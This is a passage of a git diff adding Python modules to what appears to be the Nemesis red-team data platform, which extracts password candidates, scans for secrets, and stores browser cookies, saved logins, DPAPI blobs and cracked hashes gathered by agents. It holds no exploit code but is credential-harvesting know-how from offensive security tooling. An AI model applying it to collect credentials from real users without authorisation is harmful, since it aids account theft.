+ gadget_call.method_name = temp["MethodName"] if temp["MethodName"] else ""
+ gadget_call.filter_level = temp["FilterLevel"] if temp["FilterLevel"] else ""
+
+ for k, v in data["ClientCalls"].items():
+ for temp in v:
+ analysis.dotnet_analysis.has_remoting = True
+ gadget_call = analysis.dotnet_analysis.client_calls.add()
+ gadget_call.gadget_name = k
+ gadget_call.method_name = temp["MethodName"] if temp["MethodName"] else ""
+ gadget_call.filter_level = temp["FilterLevel"] if temp["FilterLevel"] else ""
+
+ for k, v in data["RemotingCalls"].items():
+ for temp in v:
+ analysis.dotnet_analysis.has_remoting = True
+ gadget_call = analysis.dotnet_analysis.remoting_calls.add()
+ gadget_call.gadget_name = k
+ gadget_call.method_name = temp["MethodName"] if temp["MethodName"] else ""
+ gadget_call.filter_level = temp["FilterLevel"] if temp["FilterLevel"] else ""
+
+ for k, v in data["ExecutionCalls"].items():
+ for temp in v:
+ analysis.dotnet_analysis.has_cmd_execution = True
+ gadget_call = analysis.dotnet_analysis.cmd_execution_calls.add()
+ gadget_call.gadget_name = k
+ gadget_call.method_name = temp["MethodName"] if temp["MethodName"] else ""
+
+ results["analysis"] = analysis
+
+ return results
+
+ except Exception as e:
+ await logger.aexception(e, message="process_dotnet: error", file_path=file_path)
+ return None
+
+ async def process_plaintext_from_file_data_enriched(
+ self, file_data: pb.FileDataEnriched, file_data_plaintext_message: pb.FileDataPlaintextMessage
+ ):
+ """Processes extracted file plaintext from a file_data_enriched file.
+
+ Takes a file_data_enriched message and builds an additional enriched file_data_plaintext
+ that's put back into the queue if `extractedPlaintext` is specified in the file_data_enriched
+ message.
+ """
+
+ if not file_data.HasField("extracted_plaintext"):
+ return False
+
+ # file UUID of the extracted plaintext file
+ nemesis_uuid = file_data.extracted_plaintext
+
+ # the original path of the downloaded file
+ originating_object_path = file_data.path
+
+ # the original size of the downloaded file
+ originating_object_size = file_data.size
+
+ file_data_plaintext = file_data_plaintext_message.data.add()
+ file_data_plaintext.object_id = nemesis_uuid
+ file_data_plaintext.originating_object_path = originating_object_path
+ file_data_plaintext.originating_object_id = file_data.object_id
+ file_data_plaintext.originating_object_size = originating_object_size
+
+ if file_data.converted_pdf:
+ # if the file was converted to a PDF, set save that UUID for later reference/display
+ file_data_plaintext.originating_object_converted_pdf = file_data.converted_pdf
+ elif file_data.path.endswith(".pdf"):
+ # if the file WAS a PDF, set save that UUID for later reference/display
+ file_data_plaintext.originating_object_converted_pdf = file_data.object_id
+
+ enrichments_success = []
+ enrichments_failure = []
+
+ try:
+ # download the file from the nemesis API
+ with await self.storage.download(uuid.UUID(nemesis_uuid)) as temp_file:
+ # update the cracking list with this plaintext file + the project ID
+ # TODO: is this working?
+ success = await self.update_cracklist(nemesis_uuid, file_data_plaintext_message.metadata.project)
+
+ if success:
+ enrichments_success.append(constants.E_UPDATE_CRACKLIST)
+ else:
+ enrichments_failure.append(constants.E_UPDATE_CRACKLIST)
+
+ word_count = 0
+
+ with open(temp_file.name, "rb") as f:
+ # chunking to handle large files
+ while chunk := f.read(self.chunk_size):
+ word_count += len(chunk.split())
+
+ file_data_plaintext.word_count = word_count
+
+ if file_data_plaintext.word_count < self.model_word_limit:
+ # model/regex password candidate from the plaintext
+ password_candidates = await self.extract_passwords(file_data_plaintext.object_id)
+
+ if "error" in password_candidates:
+ await logger.aerror(
+ "Failed to run extract_passwords() on plaintext file",
+ message=password_candidates["error"],
+ file_path=file_data_plaintext.object_id,
+ )
+ enrichments_failure.append(constants.E_EXTRACT_PASSWORDS)
+ else:
+ enrichments_success.append(constants.E_EXTRACT_PASSWORDS)
+
+ if "model_password_candidates" in password_candidates:
+ for model_password_candidate in password_candidates["model_password_candidates"]:
+ password_candidate = file_data_plaintext.model_passwords.add()
+ password_candidate.left_context = " ".join(model_password_candidate["left_context"])
+ password_candidate.password = model_password_candidate["password"]
+ password_candidate.right_context = " ".join(model_password_candidate["right_context"])
+ if "regex_password_candidates" in password_candidates:
+ for regex_password_candidate in password_candidates["regex_password_candidates"]:
+ password_candidate = file_data_plaintext.regex_passwords.add()
+ password_candidate.left_context = " ".join(regex_password_candidate["left_context"])
+ password_candidate.password = regex_password_candidate["password"]
+ password_candidate.right_context = " ".join(regex_password_candidate["right_context"])
+
+ # summarization, in 4 sentences here, if under MODEL_WORD_LIMIT words
+ if file_data_plaintext.word_count < self.model_word_limit:
+ summary = f"{await self.summarize_text(temp_file.name, 4)}"
+ if summary.startswith("Error:"):
+ await logger.aerror(
+ "Failed to run summarize_text() on plaintext file",
+ message=summary,
+ file_path=file_data_plaintext.object_id,
+ )
+ enrichments_failure.append(constants.E_SUMMARIZE)
+ else:
+ file_data_plaintext.summary = summary
+ enrichments_success.append(constants.E_SUMMARIZE)
+ else:
+ file_data_plaintext.summary = f"file contents were above {self.model_word_limit} word limit"
+ enrichments_failure.append(constants.E_SUMMARIZE)
+
+ # run NoseyParker on the plaintext for anything we can find
+ try:
+ noseyparker_output = helpers.run_noseyparker(temp_file.name)
+
+ enrichments_success.append(constants.E_NOSEYPARKER_SCAN_TEXT)
+ if noseyparker_output:
+ file_data_plaintext.noseyparker.CopyFrom(noseyparker_output)
+ except Exception as e:
+ await logger.aexception(e, message="Exception running noseyparker in process_file_plaintext")
+ enrichments_failure.append(constants.E_NOSEYPARKER_SCAN_TEXT)
+
+ except Exception as e:
+ await logger.aexception(e, message="Exception in process_file_plaintext")
+
+ if file_data_plaintext:
+ file_data_plaintext.enrichments_success.extend(enrichments_success)
+ file_data_plaintext.enrichments_failure.extend(enrichments_failure)
+
+ return True
diff --git a/cmd/enrichment/enrichment/tasks/postgres_connector/postgres_connector.py b/cmd/enrichment/enrichment/tasks/postgres_connector/postgres_connector.py
new file mode 100644
index 0000000..eb252c8
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/postgres_connector/postgres_connector.py
@@ -0,0 +1,629 @@
+# Standard Libraries
+import asyncio
+import ntpath
+import re
+import uuid
+from typing import Any
+
+# 3rd Party Libraries
+import nemesiscommon.constants as constants
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from enrichment.lib.nemesis_db import (AuthenticationData, ChromiumCookie,
+ ChromiumDownload, ChromiumHistoryEntry,
+ ChromiumLogin, ChromiumStateFile,
+ DpapiBlob, ExtractedHash,
+ FileDataEnriched, FileInfo,
+ FileInfoDataEnriched, NamedPipe,
+ NemesisDb, NetworkConnection, Project)
+from enrichment.tasks.postgres_connector.registry_watcher import \
+ RegistryWatcher
+from google.protobuf.json_format import MessageToDict
+from nemesiscommon.messaging import MessageQueueConsumerInterface
+from nemesiscommon.tasking import TaskInterface
+from prometheus_async import aio
+from prometheus_client import Summary
+
+logger = structlog.get_logger(module=__name__)
+
+
+class PostgresConnector(TaskInterface):
+ db: NemesisDb
+ reg_watcher: RegistryWatcher
+
+ # Queues
+ auth_data_q: MessageQueueConsumerInterface
+ chromium_cookies_q: MessageQueueConsumerInterface
+ chromium_downloads_q: MessageQueueConsumerInterface
+ chromium_history_q: MessageQueueConsumerInterface
+ chromium_logins_q: MessageQueueConsumerInterface
+ chromium_state_file_processed_q: MessageQueueConsumerInterface
+ dpapi_blob_processed_q: MessageQueueConsumerInterface
+ extracted_hash_q: MessageQueueConsumerInterface
+ file_data_enriched_q: MessageQueueConsumerInterface
+ file_info_q: MessageQueueConsumerInterface
+ path_list_q: MessageQueueConsumerInterface
+ registry_value_q: MessageQueueConsumerInterface
+ named_pipe_q: MessageQueueConsumerInterface
+ service_enriched_q: MessageQueueConsumerInterface
+ network_connection_q: MessageQueueConsumerInterface
+
+ def __init__(
+ self,
+ db: NemesisDb,
+ reg_watcher: RegistryWatcher,
+ auth_data_q: MessageQueueConsumerInterface,
+ chromium_cookies_q: MessageQueueConsumerInterface,
+ chromium_downloads_q: MessageQueueConsumerInterface,
+ chromium_history_q: MessageQueueConsumerInterface,
+ chromium_logins_q: MessageQueueConsumerInterface,
+ chromium_state_file_processed_q: MessageQueueConsumerInterface,
+ dpapi_blob_processed_q: MessageQueueConsumerInterface,
+ extracted_hash_q: MessageQueueConsumerInterface,
+ file_data_enriched_q: MessageQueueConsumerInterface,
+ file_info_q: MessageQueueConsumerInterface,
+ path_list_q: MessageQueueConsumerInterface,
+ registry_value_q: MessageQueueConsumerInterface,
+ named_pipe_q: MessageQueueConsumerInterface,
+ service_enriched_q: MessageQueueConsumerInterface,
+ network_connection_q: MessageQueueConsumerInterface,
+ ):
+ self.db = db
+ self.reg_watcher = reg_watcher
+
+ self.auth_data_q = auth_data_q
+ self.chromium_cookies_q = chromium_cookies_q
+ self.chromium_downloads_q = chromium_downloads_q
+ self.chromium_history_q = chromium_history_q
+ self.chromium_logins_q = chromium_logins_q
+ self.chromium_state_file_processed_q = chromium_state_file_processed_q
+ self.dpapi_blob_processed_q = dpapi_blob_processed_q
+ self.extracted_hash_q = extracted_hash_q
+ self.file_data_enriched_q = file_data_enriched_q
+ self.file_info_q = file_info_q
+ self.path_list_q = path_list_q
+ self.registry_value_q = registry_value_q
+ self.named_pipe_q = named_pipe_q
+ self.service_enriched_q = service_enriched_q
+ self.network_connection_q = network_connection_q
+
+ async def run(self) -> None:
+ await logger.ainfo("Starting the Postgres Connector")
+
+ await asyncio.gather(
+ self.auth_data_q.Read(self.process_auth_data), # type: ignore
+ self.chromium_cookies_q.Read(self.process_chromium_cookie), # type: ignore
+ self.chromium_downloads_q.Read(self.process_chromium_download), # type: ignore
+ self.chromium_history_q.Read(self.process_chromium_history), # type: ignore
+ self.chromium_logins_q.Read(self.process_chromium_login), # type: ignore
+ self.chromium_state_file_processed_q.Read(self.process_chromium_state_file_processed), # type: ignore
+ self.dpapi_blob_processed_q.Read(self.process_dpapi_blob), # type: ignore
+ self.extracted_hash_q.Read(self.process_extracted_hash), # type: ignore
+ self.file_data_enriched_q.Read(self.process_file_data_enriched), # type: ignore
+ self.file_info_q.Read(self.process_file_info), # type: ignore
+ self.path_list_q.Read(self.process_path_list), # type: ignore
+ self.registry_value_q.Read(self.process_registry_value), # type: ignore
+ self.named_pipe_q.Read(self.process_named_pipe), # type: ignore
+ # self.service_enriched_q.Read(self.process_service), # type: ignore
+ self.network_connection_q.Read(self.process_network_connection), # type: ignore
+ )
+ await asyncio.Future()
+
+ async def ensure_project_exists(self, metadata: pb.Metadata):
+ # TODO: Create a cache of projects stored in memory so we don't hit the DB for every event
+ p = Project(
+ metadata.project,
+ metadata.timestamp.ToDatetime(),
+ metadata.expiration.ToDatetime(),
+ )
+ await self.db.add_project(p)
+
+ @aio.time(Summary("process_chromium_history", "Time spent processing a chromium_history queue")) # type: ignore
+ async def process_chromium_history(self, event: pb.ChromiumHistoryMessage):
+ """Main function to process chromium_history queue."""
+
+ m = event.metadata
+ await self.ensure_project_exists(m)
+
+ for i in event.data:
+ data = ChromiumHistoryEntry(
+ m.agent_id,
+ m.project,
+ m.source,
+ m.timestamp.ToDatetime(),
+ m.expiration.ToDatetime(),
+ i.user_data_directory,
+ i.username,
+ i.browser,
+ i.url,
+ i.title,
+ i.visit_count,
+ i.typed_count,
+ i.last_visit_time.ToDatetime(),
+ )
+ if i.originating_object_id:
+ data.originating_object_id = uuid.UUID(i.originating_object_id)
+
+ await self.db.add_chromium_history_entry(data)
+
+ @aio.time(Summary("process_chromium_download", "Time spent processing a chromium_download queue")) # type: ignore
+ async def process_chromium_download(self, event: pb.ChromiumDownloadMessage):
+ """Main function to process chromium_download queue."""
+
+ m = event.metadata
+ await self.ensure_project_exists(m)
+
+ for i in event.data:
+ data = ChromiumDownload(
+ m.agent_id,
+ m.project,
+ m.source,
+ m.timestamp.ToDatetime(),
+ m.expiration.ToDatetime(),
+ i.user_data_directory,
+ i.username,
+ i.browser,
+ i.url,
+ i.download_path,
+ i.start_time.ToDatetime(),
+ i.end_time.ToDatetime(),
+ i.total_bytes,
+ i.danger_type,
+ )
+ if i.originating_object_id:
+ data.originating_object_id = uuid.UUID(i.originating_object_id)
+
+ await self.db.add_chromium_download(data)
+
+ @aio.time(Summary("process_chromium_login_processed", "Time spent processing a chromium_login_processed queue")) # type: ignore
+ async def process_chromium_login(self, event: pb.ChromiumLoginMessage):
+ """Main function to process chromium_login queue."""
+
+ m = event.metadata
+ await self.ensure_project_exists(m)
+
+ for i in event.data:
+ data = ChromiumLogin(
+ m.agent_id,
+ m.project,
+ m.source,
+ m.timestamp.ToDatetime(),
+ m.expiration.ToDatetime(),
+ i.user_data_directory,
+ i.username,
+ i.browser,
+ i.origin_url,
+ i.username_value,
+ i.signon_realm,
+ i.date_created.ToDatetime(),
+ i.date_last_used.ToDatetime(),
+ i.date_password_modified.ToDatetime(),
+ i.times_used,
+ i.password_value_enc,
+ i.encryption_type,
+ i.masterkey_guid,
+ i.is_decrypted,
+ i.password_value_dec,
+ )
+ if i.originating_object_id:
+ data.originating_object_id = uuid.UUID(i.originating_object_id)
+
+ await self.db.add_chromium_login(data)
+
+ @aio.time(Summary("process_chromium_cookie_processed", "Time spent processing a chromium_cookie queue")) # type: ignore
+ async def process_chromium_cookie(self, event: pb.ChromiumCookieMessage):
+ """Main function to process chromium_cookie queue."""
+
+ m = event.metadata
+ await self.ensure_project_exists(m)
+
+ for i in event.data:
+ data = ChromiumCookie(
+ m.agent_id,
+ m.project,
+ m.source,
+ m.timestamp.ToDatetime(),
+ m.expiration.ToDatetime(),
+ i.user_data_directory,
+ i.username,
+ i.browser,
+ i.host_key,
+ i.name,
+ i.path,
+ i.creation.ToDatetime(),
+ i.expires.ToDatetime(),
+ i.last_access.ToDatetime(),
+ i.last_update.ToDatetime(),
+ i.is_secure,
+ i.is_httponly,
+ i.is_session,
+ i.samesite,
+ i.source_port,
+ i.value_enc,
+ i.encryption_type,
+ i.masterkey_guid,
+ i.is_decrypted,
+ i.value_dec,
+ )
+
+ if not data.originating_object_id or data.masterkey_guid == "":
+ data.masterkey_guid = "00000000-0000-0000-0000-000000000000"
+
+ if i.originating_object_id:
+ data.originating_object_id = uuid.UUID(i.originating_object_id)
+ else:
+ data.originating_object_id = uuid.UUID("00000000-0000-0000-0000-000000000000")
+
+ await self.db.add_chromium_cookie(data)
+
+ @aio.time(Summary("process_chromium_state_file_processed", "Time spent processing a chromium_state_file queue")) # type: ignore
+ async def process_chromium_state_file_processed(self, event: pb.ChromiumStateFileMessage):
+ """Main function to process chromium_state_file queue."""
+
+ m = event.metadata
+ await self.ensure_project_exists(m)
+
+ for i in event.data:
+ data = ChromiumStateFile(
+ m.agent_id,
+ m.project,
+ m.source,
+ m.timestamp.ToDatetime(),
+ m.expiration.ToDatetime(),
+ i.user_data_directory,
+ i.username,
+ i.browser,
+ i.installation_date.ToDatetime(),
+ i.launch_count,
+ i.masterkey_guid,
+ i.key_bytes_enc,
+ i.app_bound_fixed_data_enc,
+ i.is_decrypted,
+ i.key_bytes_dec,
+ i.app_bound_fixed_data_dec,
+ )
+ if i.originating_object_id:
+ data.originating_object_id = uuid.UUID(i.originating_object_id)
+
+ await self.db.add_chromium_state_file(data)
+
+ @aio.time(Summary("process_authentication_data", "Time spent processing an authentication_data queue")) # type: ignore
+ async def process_auth_data(self, event: pb.AuthenticationDataIngestionMessage):
+ """Main function to process authentication_data queue."""
+
+ m = event.metadata
+ await self.ensure_project_exists(m)
+
+ for i in event.data:
+ if not i.originating_object_id:
+ i.originating_object_id = "00000000-0000-0000-0000-000000000000"
+
+ data = AuthenticationData(
+ m.agent_id,
+ m.project,
+ m.source,
+ m.timestamp.ToDatetime(),
+ m.expiration.ToDatetime(),
+ i.data,
+ i.type,
+ i.is_file,
+ i.uri,
+ i.username,
+ i.notes,
+ uuid.UUID(i.originating_object_id),
+ )
+
+ await self.db.add_authentication_data(data)
+
+ @aio.time(Summary("process_extracted_hash", "Time spent processing an extracted_hash queue")) # type: ignore
+ async def process_extracted_hash(self, event: pb.ExtractedHashMessage):
+ """Main function to process extracted_hash queue."""
+
+ await self.ensure_project_exists(event.metadata)
+
+ for i in event.data:
+ data = ExtractedHash(
+ project_id=event.metadata.project,
+ agent_id=event.metadata.agent_id,
+ source=event.metadata.source,
+ timestamp=event.metadata.timestamp.ToDatetime(),
+ expiration=event.metadata.expiration.ToDatetime(),
+ hash_type=i.hash_type,
+ hash_value=i.hash_value,
+ hashcat_formatted_value=i.hashcat_formatted_value,
+ is_cracked=i.is_cracked,
+ checked_against_top_passwords=i.checked_against_top_passwords,
+ plaintext_value=i.plaintext_value,
+ )
+
+ if i.originating_object_id:
+ data.originating_object_id = uuid.UUID(i.originating_object_id)
+
+ await self.db.add_extracted_hash(data)
+
+ @aio.time(Summary("postgresconnector_process_dpapi_blob", "Time spent processing a dpapi_blob queue")) # type: ignore
+ async def process_dpapi_blob(self, event: pb.DpapiBlobMessage):
+ """Main function to process dpapi_blob messages."""
+
+ await self.ensure_project_exists(event.metadata)
+
+ for i in event.data:
+ if i.originating_object_id:
+ originating_object_id = uuid.UUID(i.originating_object_id)
+ else:
+ originating_object_id = uuid.UUID("00000000-0000-0000-0000-000000000000")
+ if i.originating_registry_id:
+ originating_registry_id = uuid.UUID(i.originating_registry_id)
+ else:
+ originating_registry_id = uuid.UUID("00000000-0000-0000-0000-000000000000")
+
+ d = DpapiBlob(
+ project_id=event.metadata.project,
+ agent_id=event.metadata.agent_id,
+ source=event.metadata.source,
+ timestamp=event.metadata.timestamp.ToDatetime(),
+ expiration=event.metadata.expiration.ToDatetime(),
+ dpapi_blob_id=i.dpapi_blob_id,
+ is_decrypted=i.is_decrypted,
+ is_file=i.is_file,
+ masterkey_guid=uuid.UUID(i.masterkey_guid),
+ originating_object_id=originating_object_id,
+ originating_registry_id=originating_registry_id
+ )
+
+ if i.dec_data_bytes:
+ d.dec_data_bytes = i.dec_data_bytes
+ if i.dec_data_object_id:
+ d.dec_data_object_id = uuid.UUID(i.dec_data_object_id)
+ if i.enc_data_bytes:
+ d.enc_data_bytes = i.enc_data_bytes
+ if i.enc_data_object_id:
+ d.enc_data_object_id = uuid.UUID(i.enc_data_object_id)
+
+ await self.db.add_dpapi_blob(d)
+
+ @aio.time(Summary("process_registry_value", "Time spent processing a registry_value message")) # type: ignore
+ async def process_registry_value(self, event: pb.RegistryValueIngestionMessage):
+ """Adds a registry value to the database anytime a new one is added to Nemesis.
+
+ Args:
+ event (pb.RegistryValueIngestionMessage): The message containing the registry value(s) to add.
+ """
+ await self.ensure_project_exists(event.metadata)
+ await self.reg_watcher.process_registry_value(event)
+
+ @aio.time(Summary("process_path_list", "Time spent processing a path_list message")) # type: ignore
+ async def process_path_list(self, event: pb.PathListIngestionMessage):
+ """Adds a path list to the database anytime a new one is added to Nemesis.
+
+ Args:
+ event (pb.PathListIngestionMessage): The message containing the path list(s) to add.
+ """
+ m = event.metadata
+ await self.ensure_project_exists(m)
+
+ for data in event.data:
+ path = data.path
+ if not path.endswith("\\"):
+ path = f"{path}\\"
+
+ if re.match("^[a-zA-Z]{1}:\\.*", path):
+ # this is a file system path
+
+ for item in data.items:
+ if item.endswith("\\"):
+ object_type = "folder"
+ else:
+ object_type = "file"
+
+ f = FileInfo(
+ m.agent_id,
+ m.project,
+ m.source,
+ m.timestamp.ToDatetime(),
+ m.expiration.ToDatetime(),
+ path=f"{path}{item}",
+ name=item,
+ type=object_type,
+ )
+
+ await self.db.add_filesystem_object(f)
+ else:
+ await logger.awarning("Unhandled path", path=path)
+ # elif re.match("^(HKCR|HKCU|HKLM|HKU|HKCC):.*", path, re.IGNORECASE):
+ # # TODO: registry hive path
+ # pass
+ # elif re.match("^//.+/.*", path):
+ # # TODO: remote file path
+ # pass
+
+ @aio.time(Summary("process_file_info", "Time spent processing a file_info message")) # type: ignore
+ async def process_file_info(self, event: pb.FileInformationIngestionMessage):
+ """Adds file information to the database anytime a new one is added to Nemesis.
+
+ Args:
+ event (pb.FileInformationIngestionMessage): The message containing the file information(s) to add.
+ """
+ m = event.metadata
+ await self.ensure_project_exists(m)
+
+ for data in event.data:
+ path = data.path
+ name = ntpath.basename(path)
+ temp = ntpath.splitext(path)
+ if len(temp) > 1:
+ extension = temp[-1]
+ else:
+ extension = ""
+
+ if re.match(r"^[a-zA-Z]{1}:[\\/].*", path):
+ # this is a file system path
+
+ f = FileInfo(
+ m.agent_id,
+ m.project,
+ m.source,
+ m.timestamp.ToDatetime(),
+ m.expiration.ToDatetime(),
+ path=data.path,
+ name=name,
+ extension=extension,
+ type=data.type,
+ size=data.size,
+ access_time=data.access_time.ToDatetime(),
+ creation_time=data.creation_time.ToDatetime(),
+ modification_time=data.modification_time.ToDatetime(),
+ owner=data.owner,
+ sddl=data.sddl,
+ version_info=data.version_info,
+ )
+
+ await self.db.add_filesystem_object(f)
+ else:
+ await logger.awarning("Unhandled path", path=path)
+
+ @aio.time(Summary("process_file_data_enriched_postgres", "Time spent processing a process_file_data_enriched message")) # type: ignore
+ async def process_file_data_enriched(self, event: pb.FileDataEnrichedMessage):
+ """Adds file information to the database anytime a new one is added to Nemesis.
+
+ Args:
+ event (pb.FileDataEnrichedMessage): The message containing the file to add.
+ """
+ m = event.metadata
+ await self.ensure_project_exists(m)
+
+ for data in event.data:
+ path = data.path
+ name = ntpath.basename(path)
+ temp = ntpath.splitext(path)
+ if len(temp) > 1:
+ extension = temp[-1]
+ else:
+ extension = ""
+
+ # first add a basic file info entry
+ f = FileInfoDataEnriched(
+ m.agent_id,
+ m.project,
+ m.source,
+ m.timestamp.ToDatetime(),
+ m.expiration.ToDatetime(),
+ path=data.path,
+ name=name,
+ extension=extension,
+ size=data.size,
+ magic_type=data.magic_type,
+ nemesis_file_id=data.object_id,
+ )
+ await self.db.add_filesystem_object_from_enriched(f)
+
+ file = MessageToDict(data, preserving_proto_field_name=True)
+ tags = await self.get_tags(file)
+
+ # fill in some defaults
+ if not data.converted_pdf:
+ data.converted_pdf = "00000000-0000-0000-0000-000000000000"
+ if not data.extracted_plaintext:
+ data.extracted_plaintext = "00000000-0000-0000-0000-000000000000"
+ if not data.extracted_source:
+ data.extracted_source = "00000000-0000-0000-0000-000000000000"
+ if not data.originating_object_id:
+ data.originating_object_id = "00000000-0000-0000-0000-000000000000"
+
+ # then add a processed data entry
+ f = FileDataEnriched(
+ m.agent_id,
+ m.project,
+ m.source,
+ m.timestamp.ToDatetime(),
+ m.expiration.ToDatetime(),
+ object_id=data.object_id,
+ path=data.path,
+ name=name,
+ size=data.size,
+ md5=data.hashes.md5,
+ sha1=data.hashes.sha1,
+ sha256=data.hashes.sha256,
+ nemesis_file_type=data.nemesis_file_type,
+ magic_type=data.magic_type,
+ converted_pdf_id=data.converted_pdf,
+ extracted_plaintext_id=data.extracted_plaintext,
+ extracted_source_id=data.extracted_source,
+ originating_object_id=data.originating_object_id,
+ tags=tags,
+ )
+
+ await self.db.add_file_data_enriched(f)
+
+ @aio.time(Summary("process_named_pipe", "Time spent processing an named_pipe queue")) # type: ignore
+ async def process_named_pipe(self, event: pb.NamedPipeIngestionMessage):
+ """Main function to process named_pipe queue."""
+
+ await self.ensure_project_exists(event.metadata)
+
+ for i in event.data:
+ data = NamedPipe(
+ project_id=event.metadata.project,
+ agent_id=event.metadata.agent_id,
+ source=event.metadata.source,
+ timestamp=event.metadata.timestamp.ToDatetime(),
+ expiration=event.metadata.expiration.ToDatetime(),
+ name=i.name,
+ server_process_name=i.server_process_name,
+ server_process_id=i.server_process_id,
+ server_process_path=i.server_process_path,
+ sddl=i.sddl,
+ )
+
+ await self.db.add_named_pipe(data)
+
+ @aio.time(Summary("process_network_connection", "Time spent processing an network_connection queue")) # type: ignore
+ async def process_network_connection(self, event: pb.NetworkConnectionIngestionMessage):
+ """Main function to process network_connection queue."""
+
+ await self.ensure_project_exists(event.metadata)
+
+ for i in event.data:
+ data = NetworkConnection(
+ project_id=event.metadata.project,
+ agent_id=event.metadata.agent_id,
+ source=event.metadata.source,
+ timestamp=event.metadata.timestamp.ToDatetime(),
+ expiration=event.metadata.expiration.ToDatetime(),
+ local_address=i.local_address,
+ remote_address=i.remote_address,
+ protocol=i.protocol,
+ state=i.state,
+ process_id=i.process_id,
+ process_name=i.process_name,
+ service=i.service,
+ )
+
+ await self.db.add_network_connection(data)
+
+ async def get_tags(self, file: dict[str, Any]):
+ tags = []
+ if "contains_dpapi" in file and file["contains_dpapi"]:
+ tags.append(constants.E_TAG_CONTAINS_DPAPI)
+ if "noseyparker" in file and file["noseyparker"]:
+ tags.append(constants.E_TAG_NOSEYPARKER_RESULTS)
+ if "parsed_data" in file and file["parsed_data"]:
+ if "has_parsed_credentials" in file["parsed_data"] and file["parsed_data"]["has_parsed_credentials"]:
+ tags.append(constants.E_TAG_PARSED_CREDS)
+ if "is_encrypted" in file["parsed_data"] and file["parsed_data"]["is_encrypted"]:
+ tags.append(constants.E_TAG_ENCRYPTED)
+ if "analysis" in file and file["analysis"] and "dotnet_analysis" in file["analysis"] and file["analysis"]["dotnet_analysis"]:
+ if "has_deserialization" in file["analysis"]["dotnet_analysis"] and file["analysis"]["dotnet_analysis"]["has_deserialization"]:
+ tags.append(constants.E_TAG_DESERIALIZATION)
+ if "has_cmd_execution" in file["analysis"]["dotnet_analysis"] and file["analysis"]["dotnet_analysis"]["has_cmd_execution"]:
+ tags.append(constants.E_TAG_CMD_EXECUTION)
+ if "has_remoting" in file["analysis"]["dotnet_analysis"] and file["analysis"]["dotnet_analysis"]["has_remoting"]:
+ tags.append(constants.E_TAG_REMOTING)
+ if "yara_matches" in file and file["yara_matches"]:
+ for rule in file["yara_matches"]:
+ if rule not in constants.EXCLUDED_YARA_RULES:
+ tags.append(constants.E_TAG_YARA_MATCHES)
+ if "canaries" in file and file["canaries"] and file["canaries"]["canaries_present"]:
+ tags.append(constants.E_TAG_FILE_CANARY)
+
+ return list(set(tags))
diff --git a/cmd/enrichment/enrichment/tasks/postgres_connector/registry_path_utils.py b/cmd/enrichment/enrichment/tasks/postgres_connector/registry_path_utils.py
new file mode 100644
index 0000000..79b3359
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/postgres_connector/registry_path_utils.py
@@ -0,0 +1,127 @@
+# Standard Libraries
+import re
+from typing import List, Optional, Tuple
+
+REGISTRY_HIVE_NAME_MAP: dict[str, str] = {
+ "HKEY_LOCAL_MACHINE": "HKLM",
+ "HKEY_CURRENT_USER": "HKCU",
+ "HKEY_CLASSES_ROOT": "HKCR",
+ "HKEY_CURRENT_CONFIG": "HKCC",
+ "HKEY_PERFORMANCE_DATA": "HKPD",
+ "HKEY_PERFORMANCE_TEXT": "HKPT",
+ "HKEY_DYN_DATA": "HKDD",
+ "HKEY_USERS": "HKU",
+}
+REGISTRY_HIVE_SHORT_NAMES: List[str] = list(REGISTRY_HIVE_NAME_MAP.values())
+REGISTRY_HIVE_LONG_NAMES: List[str] = list(REGISTRY_HIVE_NAME_MAP.keys())
+
+
+def normalize_slashes(path: str) -> str:
+ """Normalizes a path by removing duplicate slashes and ensuring it does not end with a slash
+
+ Args:
+ path (str): The path to normalize
+
+ Returns:
+ The normalized path
+ """
+
+ # remove duplicate backslashes
+ path = re.sub(r"\\+", r"\\", path)
+
+ # Ensure the path does not end with a slash
+ if path.endswith("\\"):
+ path = path[:-1]
+
+ return path
+
+
+def normalize_hive_name(path: str) -> str:
+ """Normalizes the hive name in a registry path to its short name
+
+ Args:
+ path (str): The absolute registry path to a normalized registry path
+
+ Raises:
+ ValueError: If the hive is not specified in the path
+ ValueError: If the hive is not a valid short or long hive name
+
+ Returns:
+ The normalized registry path
+ """
+ hive, remaining_path = parse_next_subkey(path)
+ if hive is None:
+ raise ValueError(f"No registry hive specified. Path: {path}")
+
+ # Don't need to check if remaining_path is None since
+ # hives themselves can have registry values
+
+ # Normalize the hive name to the short name
+ hive = hive.upper()
+ if hive in REGISTRY_HIVE_SHORT_NAMES:
+ # Already the short name
+ pass
+ elif hive in REGISTRY_HIVE_LONG_NAMES:
+ # Convert the long name to the short name
+ hive = REGISTRY_HIVE_NAME_MAP[hive]
+ else:
+ raise ValueError(f"Invalid registry hive. Path: {path}")
+
+ if remaining_path is None:
+ return hive
+ else:
+ return hive + "\\" + remaining_path
+
+
+def normalize_registry_path(path: str) -> str:
+ """Normalizes an absolute registry path, converting it
+ to the short name of the hive, removing double slashes,
+ and ensuring it does not end with a slash
+
+ Args:
+ path (str): An absolute registry path
+
+ Returns:
+ The normalized registry path.
+
+ Raises:
+ ValueError: If the path does not contain a registry hive
+ """
+
+ path = normalize_slashes(path)
+ path = normalize_hive_name(path)
+ return path
+
+
+def parse_next_subkey(path: str) -> Tuple[str, Optional[str]]:
+ """Parses the next key name from a given registry path and returns the subkey and the remaining unparsed registry path.
+
+ Args:
+ path (str): Normalized registry path. Example: "hklm\\system\\currentcontrolset\\services\\lanmanserver\\shares\\security"
+
+ Returns:
+ Tuple[Optional[str], Optional[str]]: (subkey, remaining_path) - The subkey and the remaining unparsed registry path.
+
+ If there is no subkey, then the subkey will be None.
+ If there is no remaining path, then the remaining path will be None.
+
+ Raises:
+ ValueError: If the path is empty
+ """
+
+ if not path:
+ raise ValueError("path cannot be empty")
+
+ slash_index = path.find("\\")
+
+ if slash_index == -1:
+ # if there is no slash, then there is no more subkeys (example: path = "security")
+ return (path, None)
+
+ subkey = path[:slash_index]
+ remaining_path = path[slash_index + 1 :]
+
+ if not remaining_path:
+ remaining_path = None
+
+ return (subkey, remaining_path)
diff --git a/cmd/enrichment/enrichment/tasks/postgres_connector/registry_watcher.py b/cmd/enrichment/enrichment/tasks/postgres_connector/registry_watcher.py
new file mode 100644
index 0000000..9cd8e6c
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/postgres_connector/registry_watcher.py
@@ -0,0 +1,238 @@
+# Standard Libraries
+import base64
+import re
+from typing import Dict, List, Set
+
+# 3rd Party Libraries
